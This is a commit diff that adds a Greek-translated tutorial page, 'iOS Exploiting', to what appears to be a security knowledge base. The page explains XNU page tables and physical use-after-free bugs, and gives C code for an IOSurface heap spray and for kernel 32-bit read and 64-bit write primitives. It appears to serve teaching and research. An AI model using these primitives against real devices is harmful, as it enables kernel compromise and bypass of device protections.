Translated ['binary-exploitation/ios-exploiting.md'] to gr

This commit is contained in:
Translator 2024-11-05 18:40:26 +00:00
parent bd69da6a15
commit 7d95bb562b
2 changed files with 204 additions and 0 deletions

View file

@ -778,6 +778,7 @@
* [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
* [iOS Exploiting](binary-exploitation/ios-exploiting.md)
## 🔩 Reversing

View file

@ -0,0 +1,203 @@
# iOS Exploiting
## Physical use-after-free
Αυτή είναι μια περίληψη από την ανάρτηση από [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) επιπλέον περισσότερες πληροφορίες σχετικά με την εκμετάλλευση χρησιμοποιώντας αυτή την τεχνική μπορούν να βρεθούν στο [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
Ο **εικονικός χώρος διευθύνσεων μνήμης** για τις διεργασίες χρήστη στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα στη φυσική μνήμη. Αντίθετα, ο ** πυρήνας** χρησιμοποιεί **πίνακες σελίδων** για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές **φυσικές διευθύνσεις**.
#### Levels of Page Tables in iOS
Οι πίνακες σελίδων οργανώνονται ιεραρχικά σε τρία επίπεδα:
1. **L1 Page Table (Επίπεδο 1)**:
* Κάθε εγγραφή εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης.
* Καλύπτει **0x1000000000 bytes****256 GB**) εικονικής μνήμης.
2. **L2 Page Table (Επίπεδο 2)**:
* Μια εγγραφή εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα **0x2000000 bytes** (32 MB).
* Μια εγγραφή L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να χαρτογραφήσει ολόκληρη την περιοχή μόνη της.
3. **L3 Page Table (Επίπεδο 3)**:
* Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε εγγραφή χαρτογραφεί μια μεμονωμένη **4 KB** σελίδα μνήμης.
* Μια εγγραφή L2 μπορεί να δείχνει σε έναν πίνακα L3 αν χρειάζεται πιο λεπτομερής έλεγχος.
#### Mapping Virtual to Physical Memory
* **Άμεση Χαρτογράφηση (Block Mapping)**:
* Ορισμένες εγγραφές σε έναν πίνακα σελίδων χαρτογραφούν άμεσα **ένα εύρος εικονικών διευθύνσεων** σε μια συνεχόμενη περιοχή φυσικών διευθύνσεων (όπως μια συντόμευση).
* **Δείκτης σε Παιδικό Πίνακα Σελίδων**:
* Αν χρειάζεται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ., L1) μπορεί να δείχνει σε έναν **παιδικό πίνακα σελίδων** στο επόμενο επίπεδο (π.χ., L2).
#### Example: Mapping a Virtual Address
Ας πούμε ότι προσπαθείτε να αποκτήσετε πρόσβαση στη εικονική διεύθυνση **0x1000000000**:
1. **L1 Table**:
* Ο πυρήνας ελέγχει την εγγραφή του πίνακα L1 που αντιστοιχεί σε αυτή τη εικονική διεύθυνση. Αν έχει έναν **δείκτη σε έναν πίνακα L2**, πηγαίνει σε αυτόν τον πίνακα L2.
2. **L2 Table**:
* Ο πυρήνας ελέγχει τον πίνακα L2 για μια πιο λεπτομερή χαρτογράφηση. Αν αυτή η εγγραφή δείχνει σε έναν **πίνακα L3**, προχωρά εκεί.
3. **L3 Table**:
* Ο πυρήνας αναζητά την τελική εγγραφή L3, η οποία δείχνει στη **φυσική διεύθυνση** της πραγματικής σελίδας μνήμης.
#### Example of Address Mapping
Αν γράψετε τη φυσική διεύθυνση **0x800004000** στον πρώτο δείκτη του πίνακα L2, τότε:
* Οι εικονικές διευθύνσεις από **0x1000000000** έως **0x1002000000** χαρτογραφούνται σε φυσικές διευθύνσεις από **0x800004000** έως **0x802004000**.
* Αυτό είναι μια **χαρτογράφηση μπλοκ** στο επίπεδο L2.
Εναλλακτικά, αν η εγγραφή L2 δείχνει σε έναν πίνακα L3:
* Κάθε σελίδα 4 KB στην εικονική διεύθυνση **0x1000000000 -> 0x1002000000** θα χαρτογραφείται από μεμονωμένες εγγραφές στον πίνακα L3.
### Physical use-after-free
Μια **φυσική χρήση μετά την απελευθέρωση** (UAF) συμβαίνει όταν:
1. Μια διεργασία **κατανέμει** κάποια μνήμη ως **αναγνώσιμη και εγγράψιμη**.
2. Οι **πίνακες σελίδων** ενημερώνονται για να χαρτογραφήσουν αυτή τη μνήμη σε μια συγκεκριμένη φυσική διεύθυνση που μπορεί να προσπελάσει η διεργασία.
3. Η διεργασία **απελευθερώνει** (ελευθερώνει) τη μνήμη.
4. Ωστόσο, λόγω ενός **σφάλματος**, ο πυρήνας **ξεχνά να αφαιρέσει τη χαρτογράφηση** από τους πίνακες σελίδων, αν και σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη.
5. Ο πυρήνας μπορεί στη συνέχεια να **ανακατανείμει αυτή τη "ελευθερωμένη" φυσική μνήμη** για άλλους σκοπούς, όπως **δεδομένα πυρήνα**.
6. Δεδομένου ότι η χαρτογράφηση δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να **διαβάσει και να γράψει** σε αυτή τη φυσική μνήμη.
Αυτό σημαίνει ότι η διεργασία μπορεί να έχει πρόσβαση σε **σελίδες μνήμης πυρήνα**, οι οποίες μπορεί να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να **χειριστεί τη μνήμη του πυρήνα**.
### Exploitation Strategy: Heap Spray
Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες πυρήνα θα ανατεθούν σε ελευθερωμένη μνήμη, χρησιμοποιούν μια τεχνική που ονομάζεται **heap spray**:
1. Ο επιτιθέμενος **δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface** στη μνήμη του πυρήνα.
2. Κάθε αντικείμενο IOSurface περιέχει μια **μαγική τιμή** σε ένα από τα πεδία του, διευκολύνοντας την αναγνώριση.
3. **Σαρώνονται οι ελευθερωμένες σελίδες** για να δουν αν κάποιο από αυτά τα αντικείμενα IOSurface προσγειώθηκε σε μια ελευθερωμένη σελίδα.
4. Όταν βρουν ένα αντικείμενο IOSurface σε μια ελευθερωμένη σελίδα, μπορούν να το χρησιμοποιήσουν για να **διαβάσουν και να γράψουν στη μνήμη του πυρήνα**.
Περισσότερες πληροφορίες σχετικά με αυτό στο [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με έναν ειδικό αναγνωριστικό ("μαγική τιμή").
2. **Scan Freed Pages**: Ελέγχουν αν κάποιο από τα αντικείμενα έχει ανατεθεί σε μια ελευθερωμένη σελίδα.
3. **Read/Write Kernel Memory**: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα να εκτελούν **τυχαίες αναγνώσεις και εγγραφές** στη μνήμη του πυρήνα. Αυτό τους επιτρέπει:
* Να χρησιμοποιούν ένα πεδίο για να **διαβάσουν οποιαδήποτε 32-bit τιμή** στη μνήμη του πυρήνα.
* Να χρησιμοποιούν ένα άλλο πεδίο για να **γράψουν 64-bit τιμές**, επιτυγχάνοντας μια σταθερή **πρωτοβουλία ανάγνωσης/εγγραφής πυρήνα**.
Δημιουργήστε αντικείμενα IOSurface με τη μαγική τιμή IOSURFACE_MAGIC για να τα αναζητήσετε αργότερα:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Αναζητήστε αντικείμενα **`IOSurface`** σε μία ελεύθερη φυσική σελίδα:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Επιτυχία Kernel Read/Write με IOSurface
Αφού αποκτήσουμε έλεγχο ενός αντικειμένου IOSurface στη μνήμη του kernel (χαρτογραφημένο σε μια απελευθερωμένη φυσική σελίδα προσβάσιμη από το userspace), μπορούμε να το χρησιμοποιήσουμε για **τυχαίες λειτουργίες ανάγνωσης και εγγραφής στον kernel**.
**Κύρια Πεδία στο IOSurface**
Το αντικείμενο IOSurface έχει δύο κρίσιμα πεδία:
1. **Δείκτης Χρήσης**: Επιτρέπει μια **32-bit ανάγνωση**.
2. **Δείκτης Χρονοσήμανσης με Ευρετήριο**: Επιτρέπει μια **64-bit εγγραφή**.
Με την επαναγραφή αυτών των δεικτών, τους ανακατευθύνουμε σε τυχαίες διευθύνσεις στη μνήμη του kernel, επιτρέποντας δυνατότητες ανάγνωσης/εγγραφής.
#### 32-Bit Kernel Read
Για να εκτελέσουμε μια ανάγνωση:
1. Επαναγράψτε τον **δείκτη χρήσης** ώστε να δείχνει στη διεύθυνση στόχο μείον μια απόσταση 0x14 byte.
2. Χρησιμοποιήστε τη μέθοδο `get_use_count` για να διαβάσετε την τιμή σε αυτή τη διεύθυνση.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
Για να εκτελέσετε μια εγγραφή:
1. Επαναγράψτε τον **δείκτη χρονοσήμανσης με δείκτη** στη στοχευμένη διεύθυνση.
2. Χρησιμοποιήστε τη μέθοδο `set_indexed_timestamp` για να γράψετε μια 64-bit τιμή.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Ανακεφαλαίωση Ροής Εκμετάλλευσης
1. **Ενεργοποίηση Φυσικής Χρήσης-Μετά-Απελευθέρωση**: Οι ελεύθερες σελίδες είναι διαθέσιμες για επαναχρησιμοποίηση.
2. **Ψεκασμός Αντικειμένων IOSurface**: Δεσμεύστε πολλά αντικείμενα IOSurface με μια μοναδική "μαγική τιμή" στη μνήμη του πυρήνα.
3. **Εντοπισμός Προσβάσιμου IOSurface**: Εντοπίστε ένα IOSurface σε μια απελευθερωμένη σελίδα που ελέγχετε.
4. **Κατάχρηση Χρήσης-Μετά-Απελευθέρωση**: Τροποποιήστε τους δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετη **ανάγνωση/εγγραφή πυρήνα** μέσω μεθόδων IOSurface.
Με αυτές τις πρωτογενείς λειτουργίες, η εκμετάλλευση παρέχει ελεγχόμενες **32-bit αναγνώσεις** και **64-bit εγγραφές** στη μνήμη του πυρήνα. Επιπλέον βήματα jailbreak θα μπορούσαν να περιλαμβάνουν πιο σταθερές πρωτογενείς αναγνώσεις/εγγραφές, οι οποίες μπορεί να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ., PPL σε νεότερες συσκευές arm64e).